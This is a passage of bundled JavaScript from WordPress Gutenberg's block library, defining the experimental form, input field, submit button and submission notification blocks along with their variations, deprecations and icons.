            onChange: (newVal) => {
              setAttributes({
                action: newVal
              });
            },
            help: (0, import_i18n67.__)(
              "The URL where the form should be submitted."
            ),
            type: "url"
          }
        )
      ] }),
      /* @__PURE__ */ (0, import_jsx_runtime242.jsx)(
        "form",
        {
          ...innerBlocksProps,
          encType: submissionMethod === "email" ? "text/plain" : null
        }
      )
    ] });
  };
  var edit_default11 = Edit13;

  // packages/block-library/build-module/form/block.json
  var block_default34 = {
    $schema: "https://schemas.wp.org/trunk/block.json",
    apiVersion: 3,
    __experimental: true,
    name: "core/form",
    title: "Form",
    category: "common",
    allowedBlocks: [
      "core/paragraph",
      "core/heading",
      "core/form-input",
      "core/form-submit-button",
      "core/form-submission-notification",
      "core/group",
      "core/columns"
    ],
    description: "A form.",
    keywords: ["container", "wrapper", "row", "section"],
    textdomain: "default",
    attributes: {
      submissionMethod: {
        type: "string",
        default: "email"
      },
      method: {
        type: "string",
        default: "post"
      },
      action: {
        type: "string"
      },
      email: {
        type: "string"
      }
    },
    supports: {
      anchor: true,
      color: {
        gradients: true,
        link: true,
        __experimentalDefaultControls: {
          background: true,
          text: true,
          link: true
        }
      },
      spacing: {
        margin: true,
        padding: true
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalTextDecoration: true,
        __experimentalFontStyle: true,
        __experimentalFontWeight: true,
        __experimentalLetterSpacing: true,
        __experimentalTextTransform: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      }
    }
  };

  // packages/block-library/build-module/form/save.mjs
  var import_block_editor83 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime243 = __toESM(require_jsx_runtime(), 1);
  function save18({ attributes: attributes2 }) {
    const blockProps = import_block_editor83.useBlockProps.save();
    const { submissionMethod } = attributes2;
    return /* @__PURE__ */ (0, import_jsx_runtime243.jsx)(
      "form",
      {
        ...blockProps,
        encType: submissionMethod === "email" ? "text/plain" : null,
        children: /* @__PURE__ */ (0, import_jsx_runtime243.jsx)(import_block_editor83.InnerBlocks.Content, {})
      }
    );
  }

  // packages/block-library/build-module/form/variations.mjs
  var import_i18n68 = __toESM(require_i18n(), 1);
  var variations5 = [
    {
      name: "comment-form",
      title: (0, import_i18n68.__)("Experimental Comment form"),
      description: (0, import_i18n68.__)("A comment form for posts and pages."),
      attributes: {
        submissionMethod: "custom",
        action: "{SITE_URL}/wp-comments-post.php",
        method: "post",
        anchor: "comment-form"
      },
      isDefault: false,
      innerBlocks: [
        [
          "core/form-input",
          {
            type: "text",
            name: "author",
            label: (0, import_i18n68.__)("Name"),
            required: true,
            visibilityPermissions: "logged-out"
          }
        ],
        [
          "core/form-input",
          {
            type: "email",
            name: "email",
            label: (0, import_i18n68.__)("Email"),
            required: true,
            visibilityPermissions: "logged-out"
          }
        ],
        [
          "core/form-input",
          {
            type: "textarea",
            name: "comment",
            label: (0, import_i18n68.__)("Comment"),
            required: true,
            visibilityPermissions: "all"
          }
        ],
        ["core/form-submit-button", {}]
      ],
      scope: ["inserter", "transform"],
      isActive: (blockAttributes8) => !blockAttributes8?.type || blockAttributes8?.type === "text"
    },
    {
      name: "wp-privacy-form",
      title: (0, import_i18n68.__)("Experimental Privacy Request Form"),
      keywords: ["GDPR"],
      description: (0, import_i18n68.__)("A form to request data exports and/or deletion."),
      attributes: {
        submissionMethod: "custom",
        action: "",
        method: "post",
        anchor: "gdpr-form"
      },
      isDefault: false,
      innerBlocks: [
        formSubmissionNotificationSuccess,
        formSubmissionNotificationError,
        [
          "core/paragraph",
          {
            content: (0, import_i18n68.__)(
              "To request an export or deletion of your personal data on this site, please fill-in the form below. You can define the type of request you wish to perform, and your email address. Once the form is submitted, you will receive a confirmation email with instructions on the next steps."
            )
          }
        ],
        [
          "core/form-input",
          {
            type: "email",
            name: "email",
            label: (0, import_i18n68.__)("Enter your email address."),
            required: true,
            visibilityPermissions: "all"
          }
        ],
        [
          "core/form-input",
          {
            type: "checkbox",
            name: "export_personal_data",
            label: (0, import_i18n68.__)("Request data export"),
            required: false,
            visibilityPermissions: "all"
          }
        ],
        [
          "core/form-input",
          {
            type: "checkbox",
            name: "remove_personal_data",
            label: (0, import_i18n68.__)("Request data deletion"),
            required: false,
            visibilityPermissions: "all"
          }
        ],
        ["core/form-submit-button", {}],
        [
          "core/form-input",
          {
            type: "hidden",
            name: "wp-action",
            value: "wp_privacy_send_request"
          }
        ],
        [
          "core/form-input",
          {
            type: "hidden",
            name: "wp-privacy-request",
            value: "1"
          }
        ]
      ],
      scope: ["inserter", "transform"],
      isActive: (blockAttributes8) => !blockAttributes8?.type || blockAttributes8?.type === "text"
    }
  ];
  var variations_default5 = variations5;

  // packages/block-library/build-module/form/deprecated.mjs
  var import_block_editor84 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime244 = __toESM(require_jsx_runtime(), 1);
  var v115 = {
    // The block supports here are deliberately empty despite this
    // deprecated version of the block having adopted block supports.
    // The attributes added by these supports have been manually
    // added to this deprecated version's attributes definition so
    // that the data isn't lost on migration. All this is so that the
    // automatic application of block support classes doesn't occur
    // as this version of the block had a bug that overrode those
    // classes. If those block support classes are applied during the
    // deprecation process, this deprecation doesn't match and won't
    // run.
    // @see https://github.com/WordPress/gutenberg/pull/55755
    supports: {},
    attributes: {
      submissionMethod: {
        type: "string",
        default: "email"
      },
      method: {
        type: "string",
        default: "post"
      },
      action: {
        type: "string"
      },
      email: {
        type: "string"
      },
      // The following attributes have been added to match the block
      // supports at the time of the deprecation. See above for details.
      anchor: {
        type: "string",
        source: "attribute",
        attribute: "id",
        selector: "*"
      },
      backgroundColor: {
        type: "string"
      },
      textColor: {
        type: "string"
      },
      gradient: {
        type: "string"
      },
      style: {
        type: "object"
      },
      fontFamily: {
        type: "string"
      },
      fontSize: {
        type: "string"
      }
    },
    save({ attributes: attributes2 }) {
      const { submissionMethod } = attributes2;
      const colorProps = (0, import_block_editor84.__experimentalGetColorClassesAndStyles)(attributes2);
      const typographyProps = (0, import_block_editor84.getTypographyClassesAndStyles)(attributes2);
      const spacingProps = (0, import_block_editor84.__experimentalGetSpacingClassesAndStyles)(attributes2);
      const blockProps = import_block_editor84.useBlockProps.save({
        // In this deprecated version, the block support is deliberately empty.
        // As a result, the useBlockProps.save() does not output style or id attributes,
        // so we apply them explicitly here.
        style: {
          ...colorProps.style,
          ...typographyProps.style,
          ...spacingProps.style
        },
        id: attributes2.anchor
      });
      return /* @__PURE__ */ (0, import_jsx_runtime244.jsx)(
        "form",
        {
          ...blockProps,
          className: "wp-block-form",
          encType: submissionMethod === "email" ? "text/plain" : null,
          children: /* @__PURE__ */ (0, import_jsx_runtime244.jsx)(import_block_editor84.InnerBlocks.Content, {})
        }
      );
    }
  };
  var deprecated_default17 = [v115];

  // packages/block-library/build-module/form/icons.mjs
  var import_primitives157 = __toESM(require_primitives(), 1);
  var import_jsx_runtime245 = __toESM(require_jsx_runtime(), 1);
  var icon = /* @__PURE__ */ (0, import_jsx_runtime245.jsx)(import_primitives157.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime245.jsx)(import_primitives157.Path, { d: "M18 16H6c-1.1 0-2 .9-2 2s.9 2 2 2h12c1.1 0 2-.9 2-2s-.9-2-2-2Zm0 2.5H6c-.3 0-.5-.2-.5-.5s.2-.5.5-.5h12c.3 0 .5.2.5.5s-.2.5-.5.5ZM13 13H4v1.5h9V13Zm-7-2h12c1.1 0 2-.9 2-2s-.9-2-2-2H6c-1.1 0-2 .9-2 2s.9 2 2 2Zm0-2.5h12c.3 0 .5.2.5.5s-.2.5-.5.5H6c-.3 0-.5-.2-.5-.5s.2-.5.5-.5ZM13 4H4v1.5h9V4Z" }) });

  // packages/block-library/build-module/form/index.mjs
  var { name: name34 } = block_default34;
  var settings34 = {
    icon,
    edit: edit_default11,
    save: save18,
    deprecated: deprecated_default17,
    variations: variations_default5,
    example: {}
  };
  var init34 = () => {
    const DISALLOWED_PARENTS = ["core/form"];
    (0, import_hooks26.addFilter)(
      "blockEditor.__unstableCanInsertBlockType",
      "core/block-library/preventInsertingFormIntoAnotherForm",
      (canInsert, blockType, rootClientId, { getBlock, getBlockParentsByBlockName }) => {
        if (blockType.name !== "core/form") {
          return canInsert;
        }
        for (const disallowedParentType of DISALLOWED_PARENTS) {
          const hasDisallowedParent = getBlock(rootClientId)?.name === disallowedParentType || getBlockParentsByBlockName(
            rootClientId,
            disallowedParentType
          ).length;
          if (hasDisallowedParent) {
            return false;
          }
        }
        return true;
      }
    );
    return initBlock({ name: name34, metadata: block_default34, settings: settings34 });
  };

  // packages/block-library/build-module/form-input/index.mjs
  var form_input_exports = {};
  __export(form_input_exports, {
    init: () => init35,
    metadata: () => block_default35,
    name: () => name35,
    settings: () => settings35
  });

  // packages/block-library/build-module/form-input/deprecated.mjs
  var import_remove_accents = __toESM(require_remove_accents(), 1);
  var import_block_editor85 = __toESM(require_block_editor(), 1);
  var import_dom2 = __toESM(require_dom(), 1);
  var import_jsx_runtime246 = __toESM(require_jsx_runtime(), 1);
  var getNameFromLabelV1 = (content) => {
    return (0, import_remove_accents.default)((0, import_dom2.__unstableStripHTML)(content)).replace(/[^\p{L}\p{N}]+/gu, "-").toLowerCase().replace(/(^-+)|(-+$)/g, "");
  };
  var v27 = {
    attributes: {
      type: {
        type: "string",
        default: "text"
      },
      name: {
        type: "string"
      },
      label: {
        type: "string",
        default: "Label",
        selector: ".wp-block-form-input__label-content",
        source: "html",
        role: "content"
      },
      inlineLabel: {
        type: "boolean",
        default: false
      },
      required: {
        type: "boolean",
        default: false,
        selector: ".wp-block-form-input__input",
        source: "attribute",
        attribute: "required"
      },
      placeholder: {
        type: "string",
        selector: ".wp-block-form-input__input",
        source: "attribute",
        attribute: "placeholder",
        role: "content"
      },
      value: {
        type: "string",
        default: "",
        selector: "input",
        source: "attribute",
        attribute: "value"
      },
      visibilityPermissions: {
        type: "string",
        default: "all"
      }
    },
    supports: {
      anchor: true,
      reusable: false,
      spacing: {
        margin: ["top", "bottom"]
      },
      __experimentalBorder: {
        radius: true,
        __experimentalSkipSerialization: true,
        __experimentalDefaultControls: {
          radius: true
        }
      }
    },
    save({ attributes: attributes2 }) {
      const { type, name: name123, label, inlineLabel, required, placeholder: placeholder2, value } = attributes2;
      const borderProps = (0, import_block_editor85.__experimentalGetBorderClassesAndStyles)(attributes2);
      const colorProps = (0, import_block_editor85.__experimentalGetColorClassesAndStyles)(attributes2);
      const inputStyle = {
        ...borderProps.style,
        ...colorProps.style
      };
      const inputClasses = clsx_default(
        "wp-block-form-input__input",
        colorProps.className,
        borderProps.className
      );
      const TagName2 = type === "textarea" ? "textarea" : "input";
      const blockProps = import_block_editor85.useBlockProps.save();
      if ("hidden" === type) {
        return /* @__PURE__ */ (0, import_jsx_runtime246.jsx)("input", { type, name: name123, value });
      }
      return /* @__PURE__ */ (0, import_jsx_runtime246.jsx)("div", { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime246.jsxs)(
        "label",
        {
          className: clsx_default("wp-block-form-input__label", {
            "is-label-inline": inlineLabel
          }),
          children: [
            /* @__PURE__ */ (0, import_jsx_runtime246.jsx)("span", { className: "wp-block-form-input__label-content", children: /* @__PURE__ */ (0, import_jsx_runtime246.jsx)(import_block_editor85.RichText.Content, { value: label }) }),
            /* @__PURE__ */ (0, import_jsx_runtime246.jsx)(
              TagName2,
              {
                className: inputClasses,
                type: "textarea" === type ? void 0 : type,
                name: name123 || getNameFromLabelV1(label),
                required,
                "aria-required": required,
                placeholder: placeholder2 || void 0,
                style: inputStyle
              }
            )
          ]
        }
      ) });
    }
  };
  var v116 = {
    attributes: {
      type: {
        type: "string",
        default: "text"
      },
      name: {
        type: "string"
      },
      label: {
        type: "string",
        default: "Label",
        selector: ".wp-block-form-input__label-content",
        source: "html",
        role: "content"
      },
      inlineLabel: {
        type: "boolean",
        default: false
      },
      required: {
        type: "boolean",
        default: false,
        selector: ".wp-block-form-input__input",
        source: "attribute",
        attribute: "required"
      },
      placeholder: {
        type: "string",
        selector: ".wp-block-form-input__input",
        source: "attribute",
        attribute: "placeholder",
        role: "content"
      },
      value: {
        type: "string",
        default: "",
        selector: "input",
        source: "attribute",
        attribute: "value"
      },
      visibilityPermissions: {
        type: "string",
        default: "all"
      }
    },
    supports: {
      className: false,
      anchor: true,
      reusable: false,
      spacing: {
        margin: ["top", "bottom"]
      },
      __experimentalBorder: {
        radius: true,
        __experimentalSkipSerialization: true,
        __experimentalDefaultControls: {
          radius: true
        }
      }
    },
    save({ attributes: attributes2 }) {
      const { type, name: name123, label, inlineLabel, required, placeholder: placeholder2, value } = attributes2;
      const borderProps = (0, import_block_editor85.__experimentalGetBorderClassesAndStyles)(attributes2);
      const colorProps = (0, import_block_editor85.__experimentalGetColorClassesAndStyles)(attributes2);
      const inputStyle = {
        ...borderProps.style,
        ...colorProps.style
      };
      const inputClasses = clsx_default(
        "wp-block-form-input__input",
        colorProps.className,
        borderProps.className
      );
      const TagName2 = type === "textarea" ? "textarea" : "input";
      if ("hidden" === type) {
        return /* @__PURE__ */ (0, import_jsx_runtime246.jsx)("input", { type, name: name123, value });
      }
      return /* @__PURE__ */ (0, import_jsx_runtime246.jsxs)(
        "label",
        {
          className: clsx_default("wp-block-form-input__label", {
            "is-label-inline": inlineLabel
          }),
          children: [
            /* @__PURE__ */ (0, import_jsx_runtime246.jsx)("span", { className: "wp-block-form-input__label-content", children: /* @__PURE__ */ (0, import_jsx_runtime246.jsx)(import_block_editor85.RichText.Content, { value: label }) }),
            /* @__PURE__ */ (0, import_jsx_runtime246.jsx)(
              TagName2,
              {
                className: inputClasses,
                type: "textarea" === type ? void 0 : type,
                name: name123 || getNameFromLabelV1(label),
                required,
                "aria-required": required,
                placeholder: placeholder2 || void 0,
                style: inputStyle
              }
            )
          ]
        }
      );
    }
  };
  var deprecated7 = [v27, v116];
  var deprecated_default18 = deprecated7;

  // packages/block-library/build-module/form-input/edit.mjs
  var import_i18n69 = __toESM(require_i18n(), 1);
  var import_block_editor86 = __toESM(require_block_editor(), 1);
  var import_components44 = __toESM(require_components(), 1);
  var import_element30 = __toESM(require_element(), 1);
  var import_jsx_runtime247 = __toESM(require_jsx_runtime(), 1);
  function InputFieldBlock({ attributes: attributes2, setAttributes, className }) {
    const { type, name: name123, label, inlineLabel, required, placeholder: placeholder2, value } = attributes2;
    const blockProps = (0, import_block_editor86.useBlockProps)();
    const dropdownMenuProps = useToolsPanelDropdownMenuProps();
    const ref = (0, import_element30.useRef)();
    const TagName2 = type === "textarea" ? "textarea" : "input";
    const borderProps = (0, import_block_editor86.__experimentalUseBorderProps)(attributes2);
    const colorProps = (0, import_block_editor86.__experimentalUseColorProps)(attributes2);
    if (ref.current) {
      ref.current.focus();
    }
    const isCheckboxOrRadio = type === "checkbox" || type === "radio";
    const controls = /* @__PURE__ */ (0, import_jsx_runtime247.jsxs)(import_jsx_runtime247.Fragment, { children: [
      "hidden" !== type && /* @__PURE__ */ (0, import_jsx_runtime247.jsx)(import_block_editor86.InspectorControls, { children: /* @__PURE__ */ (0, import_jsx_runtime247.jsxs)(
        import_components44.__experimentalToolsPanel,
        {
          label: (0, import_i18n69.__)("Settings"),
          resetAll: () => {
            setAttributes({
              inlineLabel: false,
              required: false
            });
          },
          dropdownMenuProps,
          children: [
            "checkbox" !== type && /* @__PURE__ */ (0, import_jsx_runtime247.jsx)(
              import_components44.__experimentalToolsPanelItem,
              {
                label: (0, import_i18n69.__)("Inline label"),
                hasValue: () => !!inlineLabel,
                onDeselect: () => setAttributes({ inlineLabel: false }),
                isShownByDefault: true,
                children: /* @__PURE__ */ (0, import_jsx_runtime247.jsx)(
                  import_components44.CheckboxControl,
                  {
                    label: (0, import_i18n69.__)("Inline label"),
                    checked: inlineLabel,
                    onChange: (newVal) => {
                      setAttributes({
                        inlineLabel: newVal
                      });
                    }
                  }
                )
              }
            ),
            /* @__PURE__ */ (0, import_jsx_runtime247.jsx)(
              import_components44.__experimentalToolsPanelItem,
              {
                label: (0, import_i18n69.__)("Required"),
                hasValue: () => !!required,
                onDeselect: () => setAttributes({ required: false }),
                isShownByDefault: true,
                children: /* @__PURE__ */ (0, import_jsx_runtime247.jsx)(
                  import_components44.CheckboxControl,
                  {
                    label: (0, import_i18n69.__)("Required"),
                    checked: required,
                    onChange: (newVal) => {
                      setAttributes({
                        required: newVal
                      });
                    }
                  }
                )
              }
            )
          ]
        }
      ) }),
      /* @__PURE__ */ (0, import_jsx_runtime247.jsx)(import_block_editor86.InspectorControls, { group: "advanced", children: /* @__PURE__ */ (0, import_jsx_runtime247.jsx)(
        import_components44.TextControl,
        {
          __next40pxDefaultSize: true,
          autoComplete: "off",
          label: (0, import_i18n69.__)("Name"),
          value: name123,
          onChange: (newVal) => {
            setAttributes({
              name: newVal
            });
          },
          help: (0, import_i18n69.__)(
            'Affects the "name" attribute of the input element, and is used as a name for the form submission results.'
          )
        }
      ) })
    ] });
    const content = /* @__PURE__ */ (0, import_jsx_runtime247.jsx)(
      import_block_editor86.RichText,
      {
        tagName: "span",
        className: "wp-block-form-input__label-content",
        value: label,
        onChange: (newLabel) => setAttributes({ label: newLabel }),
        "aria-label": label ? (0, import_i18n69.__)("Label") : (0, import_i18n69.__)("Empty label"),
        "data-empty": !label,
        placeholder: (0, import_i18n69.__)("Type the label for this input")
      }
    );
    if ("hidden" === type) {
      return /* @__PURE__ */ (0, import_jsx_runtime247.jsxs)(import_jsx_runtime247.Fragment, { children: [
        controls,
        /* @__PURE__ */ (0, import_jsx_runtime247.jsx)(
          "input",
          {
            type: "hidden",
            className: clsx_default(
              className,
              "wp-block-form-input__input",
              colorProps.className,
              borderProps.className
            ),
            "aria-label": (0, import_i18n69.__)("Value"),
            value,
            onChange: (event) => setAttributes({ value: event.target.value })
          }
        )
      ] });
    }
    return /* @__PURE__ */ (0, import_jsx_runtime247.jsxs)("div", { ...blockProps, children: [
      controls,
      /* @__PURE__ */ (0, import_jsx_runtime247.jsxs)(
        "span",
        {
          className: clsx_default("wp-block-form-input__label", {
            "is-label-inline": inlineLabel || "checkbox" === type
          }),
          children: [
            !isCheckboxOrRadio && content,
            /* @__PURE__ */ (0, import_jsx_runtime247.jsx)(
              TagName2,
              {
                type: "textarea" === type ? void 0 : type,
                className: clsx_default(
                  className,
                  "wp-block-form-input__input",
                  colorProps.className,
                  borderProps.className
                ),
                "aria-label": (0, import_i18n69.__)("Optional placeholder text"),
                placeholder: placeholder2 ? void 0 : (0, import_i18n69.__)("Optional placeholder\u2026"),
                value: placeholder2,
                onChange: (event) => setAttributes({ placeholder: event.target.value }),
                "aria-required": required,
                style: {
                  ...borderProps.style,
                  ...colorProps.style
                }
              }
            ),
            isCheckboxOrRadio && content
          ]
        }
      )
    ] });
  }
  var edit_default12 = InputFieldBlock;

  // packages/block-library/build-module/form-input/block.json
  var block_default35 = {
    $schema: "https://schemas.wp.org/trunk/block.json",
    apiVersion: 3,
    __experimental: true,
    name: "core/form-input",
    title: "Input Field",
    category: "common",
    ancestor: ["core/form"],
    description: "The basic building block for forms.",
    keywords: ["input", "form"],
    textdomain: "default",
    attributes: {
      type: {
        type: "string",
        default: "text"
      },
      name: {
        type: "string"
      },
      label: {
        type: "rich-text",
        default: "Label",
        selector: ".wp-block-form-input__label-content",
        source: "rich-text",
        role: "content"
      },
      inlineLabel: {
        type: "boolean",
        default: false
      },
      required: {
        type: "boolean",
        default: false,
        selector: ".wp-block-form-input__input",
        source: "attribute",
        attribute: "required"
      },
      placeholder: {
        type: "string",
        selector: ".wp-block-form-input__input",
        source: "attribute",
        attribute: "placeholder",
        role: "content"
      },
      value: {
        type: "string",
        default: "",
        selector: "input",
        source: "attribute",
        attribute: "value"
      },
      visibilityPermissions: {
        type: "string",
        default: "all"
      }
    },
    supports: {
      anchor: true,
      reusable: false,
      spacing: {
        margin: ["top", "bottom"]
      },
      __experimentalBorder: {
        radius: true,
        __experimentalSkipSerialization: true,
        __experimentalDefaultControls: {
          radius: true
        }
      }
    },
    style: ["wp-block-form-input"]
  };

  // packages/block-library/build-module/form-input/save.mjs
  var import_remove_accents2 = __toESM(require_remove_accents(), 1);
  var import_block_editor87 = __toESM(require_block_editor(), 1);
  var import_dom3 = __toESM(require_dom(), 1);
  var import_jsx_runtime248 = __toESM(require_jsx_runtime(), 1);
  var getNameFromLabel = (content) => {
    return (0, import_remove_accents2.default)((0, import_dom3.__unstableStripHTML)(content)).replace(/[^\p{L}\p{N}]+/gu, "-").toLowerCase().replace(/(^-+)|(-+$)/g, "");
  };
  function save19({ attributes: attributes2 }) {
    const { type, name: name123, label, inlineLabel, required, placeholder: placeholder2, value } = attributes2;
    const borderProps = (0, import_block_editor87.__experimentalGetBorderClassesAndStyles)(attributes2);
    const colorProps = (0, import_block_editor87.__experimentalGetColorClassesAndStyles)(attributes2);
    const inputStyle = {
      ...borderProps.style,
      ...colorProps.style
    };
    const inputClasses = clsx_default(
      "wp-block-form-input__input",
      colorProps.className,
      borderProps.className
    );
    const TagName2 = type === "textarea" ? "textarea" : "input";
    const blockProps = import_block_editor87.useBlockProps.save();
    const isCheckboxOrRadio = type === "checkbox" || type === "radio";
    if ("hidden" === type) {
      return /* @__PURE__ */ (0, import_jsx_runtime248.jsx)("input", { type, name: name123, value });
    }
    return /* @__PURE__ */ (0, import_jsx_runtime248.jsx)("div", { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime248.jsxs)(
      "label",
      {
        className: clsx_default("wp-block-form-input__label", {
          "is-label-inline": inlineLabel
        }),
        children: [
          !isCheckboxOrRadio && /* @__PURE__ */ (0, import_jsx_runtime248.jsx)("span", { className: "wp-block-form-input__label-content", children: /* @__PURE__ */ (0, import_jsx_runtime248.jsx)(import_block_editor87.RichText.Content, { value: label }) }),
          /* @__PURE__ */ (0, import_jsx_runtime248.jsx)(
            TagName2,
            {
              className: inputClasses,
              type: "textarea" === type ? void 0 : type,
              name: name123 || getNameFromLabel(label),
              required,
              "aria-required": required,
              placeholder: placeholder2 || void 0,
              style: inputStyle
            }
          ),
          isCheckboxOrRadio && /* @__PURE__ */ (0, import_jsx_runtime248.jsx)("span", { className: "wp-block-form-input__label-content", children: /* @__PURE__ */ (0, import_jsx_runtime248.jsx)(import_block_editor87.RichText.Content, { value: label }) })
        ]
      }
    ) });
  }

  // packages/block-library/build-module/form-input/variations.mjs
  var import_i18n70 = __toESM(require_i18n(), 1);
  var variations6 = [
    {
      name: "text",
      title: (0, import_i18n70.__)("Text Input"),
      description: (0, import_i18n70.__)("A generic text input."),
      attributes: { type: "text" },
      isDefault: true,
      scope: ["inserter", "transform"],
      isActive: (blockAttributes8) => !blockAttributes8?.type || blockAttributes8?.type === "text"
    },
    {
      name: "textarea",
      title: (0, import_i18n70.__)("Textarea Input"),
      description: (0, import_i18n70.__)(
        "A textarea input to allow entering multiple lines of text."
      ),
      attributes: { type: "textarea" },
      isDefault: true,
      scope: ["inserter", "transform"],
      isActive: (blockAttributes8) => blockAttributes8?.type === "textarea"
    },
    {
      name: "checkbox",
      title: (0, import_i18n70.__)("Checkbox Input"),
      description: (0, import_i18n70.__)("A simple checkbox input."),
      attributes: { type: "checkbox", inlineLabel: true },
      isDefault: true,
      scope: ["inserter", "transform"],
      isActive: (blockAttributes8) => blockAttributes8?.type === "checkbox"
    },
    {
      name: "email",
      title: (0, import_i18n70.__)("Email Input"),
      description: (0, import_i18n70.__)("Used for email addresses."),
      attributes: { type: "email" },
      isDefault: true,
      scope: ["inserter", "transform"],
      isActive: (blockAttributes8) => blockAttributes8?.type === "email"
    },
    {
      name: "url",
      title: (0, import_i18n70.__)("URL Input"),
      description: (0, import_i18n70.__)("Used for URLs."),
      attributes: { type: "url" },
      isDefault: true,
      scope: ["inserter", "transform"],
      isActive: (blockAttributes8) => blockAttributes8?.type === "url"
    },
    {
      name: "tel",
      title: (0, import_i18n70.__)("Telephone Input"),
      description: (0, import_i18n70.__)("Used for phone numbers."),
      attributes: { type: "tel" },
      isDefault: true,
      scope: ["inserter", "transform"],
      isActive: (blockAttributes8) => blockAttributes8?.type === "tel"
    },
    {
      name: "number",
      title: (0, import_i18n70.__)("Number Input"),
      description: (0, import_i18n70.__)("A numeric input."),
      attributes: { type: "number" },
      isDefault: true,
      scope: ["inserter", "transform"],
      isActive: (blockAttributes8) => blockAttributes8?.type === "number"
    }
  ];
  var variations_default6 = variations6;

  // packages/block-library/build-module/form-input/icons.mjs
  var import_primitives158 = __toESM(require_primitives(), 1);
  var import_jsx_runtime249 = __toESM(require_jsx_runtime(), 1);
  var icon2 = /* @__PURE__ */ (0, import_jsx_runtime249.jsx)(import_primitives158.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime249.jsx)(import_primitives158.Path, { d: "M5.547 18.892A.99.99 0 0 0 6 19h.72v1H6a1.99 1.99 0 0 1-.908-.22l.455-.888ZM9.12 20H7.68v-1h1.44v1Zm2.4 0h-1.44v-1h1.44v1Zm2.4 0h-1.44v-1h1.44v1Zm2.4 0h-1.44v-1h1.44v1Zm2.587-.22c-.272.14-.58.22-.907.22h-.72v-1H18a.99.99 0 0 0 .453-.108l.454.888ZM5.108 17.547a.99.99 0 0 0 0 .906l-.89.454a1.99 1.99 0 0 1 0-1.815l.89.455Zm14.672-.455a1.99 1.99 0 0 1 0 1.815l-.888-.454a.99.99 0 0 0 0-.906l.888-.455ZM6.72 17H6a.99.99 0 0 0-.453.108l-.455-.89A1.99 1.99 0 0 1 6 16h.72v1ZM18 16c.327 0 .635.08.907.219l-.454.89A.99.99 0 0 0 18 17h-.72v-1H18Zm-8.88 1H7.68v-1h1.44v1Zm2.4 0h-1.44v-1h1.44v1Zm2.4 0h-1.44v-1h1.44v1Zm2.4 0h-1.44v-1h1.44v1ZM5.5 14.28H4.25v-1H5.5v1Zm2.5 0H6.5v-1H8v1Zm2.5 0H9v-1h1.5v1Zm2.25 0H11.5v-1h1.25v1ZM18 7a2 2 0 1 1 0 4H6a2 2 0 1 1 0-4h12ZM6 8.5a.5.5 0 0 0 0 1h12a.5.5 0 0 0 0-1H6Zm7-3H4V4h9v1.5Z" }) });

  // packages/block-library/build-module/form-input/index.mjs
  var { name: name35 } = block_default35;
  var settings35 = {
    icon: icon2,
    deprecated: deprecated_default18,
    edit: edit_default12,
    save: save19,
    variations: variations_default6,
    example: {}
  };
  var init35 = () => initBlock({ name: name35, metadata: block_default35, settings: settings35 });

  // packages/block-library/build-module/form-submit-button/index.mjs
  var form_submit_button_exports = {};
  __export(form_submit_button_exports, {
    init: () => init36,
    metadata: () => block_default36,
    name: () => name36,
    settings: () => settings36
  });

  // packages/block-library/build-module/form-submit-button/edit.mjs
  var import_i18n71 = __toESM(require_i18n(), 1);
  var import_block_editor88 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime250 = __toESM(require_jsx_runtime(), 1);
  var TEMPLATE7 = [
    [
      "core/buttons",
      {},
      [
        [
          "core/button",
          {
            text: (0, import_i18n71.__)("Submit"),
            tagName: "button",
            type: "submit"
          }
        ]
      ]
    ]
  ];
  var Edit14 = () => {
    const blockProps = (0, import_block_editor88.useBlockProps)();
    const innerBlocksProps = (0, import_block_editor88.useInnerBlocksProps)(blockProps, {
      template: TEMPLATE7,
      templateLock: "all"
    });
    return /* @__PURE__ */ (0, import_jsx_runtime250.jsx)("div", { className: "wp-block-form-submit-wrapper", ...innerBlocksProps });
  };
  var edit_default13 = Edit14;

  // packages/block-library/build-module/form-submit-button/block.json
  var block_default36 = {
    $schema: "https://schemas.wp.org/trunk/block.json",
    apiVersion: 3,
    __experimental: true,
    name: "core/form-submit-button",
    title: "Form Submit Button",
    category: "common",
    icon: "button",
    ancestor: ["core/form"],
    allowedBlocks: ["core/buttons", "core/button"],
    description: "A submission button for forms.",
    keywords: ["submit", "button", "form"],
    textdomain: "default",
    style: ["wp-block-form-submit-button"]
  };

  // packages/block-library/build-module/form-submit-button/save.mjs
  var import_block_editor89 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime251 = __toESM(require_jsx_runtime(), 1);
  function save20() {
    const blockProps = import_block_editor89.useBlockProps.save();
    return /* @__PURE__ */ (0, import_jsx_runtime251.jsx)("div", { className: "wp-block-form-submit-wrapper", ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime251.jsx)(import_block_editor89.InnerBlocks.Content, {}) });
  }

  // packages/block-library/build-module/form-submit-button/index.mjs
  var { name: name36 } = block_default36;
  var settings36 = {
    edit: edit_default13,
    save: save20,
    example: {}
  };
  var init36 = () => initBlock({ name: name36, metadata: block_default36, settings: settings36 });

  // packages/block-library/build-module/form-submission-notification/index.mjs
  var form_submission_notification_exports = {};
  __export(form_submission_notification_exports, {
    init: () => init37,
    metadata: () => block_default37,
    name: () => name37,
    settings: () => settings37
  });

  // packages/block-library/build-module/form-submission-notification/edit.mjs
  var import_i18n72 = __toESM(require_i18n(), 1);
  var import_block_editor90 = __toESM(require_block_editor(), 1);
  var import_data36 = __toESM(require_data(), 1);
  var import_jsx_runtime252 = __toESM(require_jsx_runtime(), 1);
  var TEMPLATE8 = [
    [
      "core/paragraph",
      {
        content: (0, import_i18n72.__)(
          "Enter the message you wish displayed for form submission error/success, and select the type of the message (success/error) from the block's options."
        )
      }
    ]
  ];
  var Edit15 = ({ attributes: attributes2, clientId }) => {
    const { type } = attributes2;
    const blockProps = (0, import_block_editor90.useBlockProps)({
      className: clsx_default("wp-block-form-submission-notification", {
        [`form-notification-type-${type}`]: type
      })
    });
    const { hasInnerBlocks } = (0, import_data36.useSelect)(
      (select9) => {
        const { getBlock } = select9(import_block_editor90.store);
